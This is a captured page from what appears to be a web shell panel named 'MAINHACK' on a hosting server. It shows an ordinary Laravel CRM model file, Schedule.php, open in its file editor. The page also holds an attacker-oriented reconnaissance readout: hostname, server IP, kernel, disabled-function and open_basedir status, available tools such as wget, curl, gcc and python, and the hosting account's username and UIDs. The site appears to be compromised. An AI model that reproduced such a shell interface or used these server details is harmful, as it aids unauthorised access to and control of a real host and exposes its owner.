[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Schedule.php
<?php namespace Modules\Crm\Entities; use Illuminate\Database\Eloquent\Model; class Schedule extends Model { /** * The table associated with the model. * * @var string */ protected $table = 'crm_schedules'; /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'notify_via' => 'array', 'followup_additional_info' => 'array', ]; /** * The member that belongs to the schedule. */ public function users() { return $this->belongsToMany(\App\User::class, 'crm_schedule_users', 'schedule_id', 'user_id'); } /** * Invoices assigned to the follow up. */ public function invoices() { return $this->belongsToMany(\App\Transaction::class, 'crm_followup_invoices', 'follow_up_id', 'transaction_id'); } /** * user who created a schedule. */ public function createdBy() { return $this->belongsTo(\App\User::class, 'created_by'); } public function customer() { return $this->belongsTo(\App\Contact::class, 'contact_id'); } public function scheduleLog() { return $this->hasMany(\Modules\Crm\Entities\ScheduleLog::class); } /** * Return the status for schedule. */ public static function statusDropdown($add_none = false) { $status = [ 'scheduled' => __('crm::lang.scheduled'), 'open' => __('crm::lang.open'), 'cancelled' => __('crm::lang.canceled'), 'completed' => __('crm::lang.completed'), ]; if ($add_none) { $status['none'] = __('crm::lang.none'); } return $status; } public static function followUpTypeDropdown() { return [ 'call' => __('crm::lang.call'), 'sms' => __('crm::lang.sms'), 'meeting' => __('crm::lang.meeting'), 'email' => __('business.email'), ]; } public static function followUpNotifyTypeDropdown() { return [ 'minute' => __('crm::lang.minute'), 'hour' => __('crm::lang.hour'), 'day' => __('lang_v1.day'), ]; } public static function followUpNotifyViaDropdown() { return ['sms' => __('crm::lang.sms'), 'mail' => __('business.email')]; } /** * Get category associated with the product. */ public function followupCategory() { return $this->belongsTo(\App\Category::class, 'followup_category_id'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285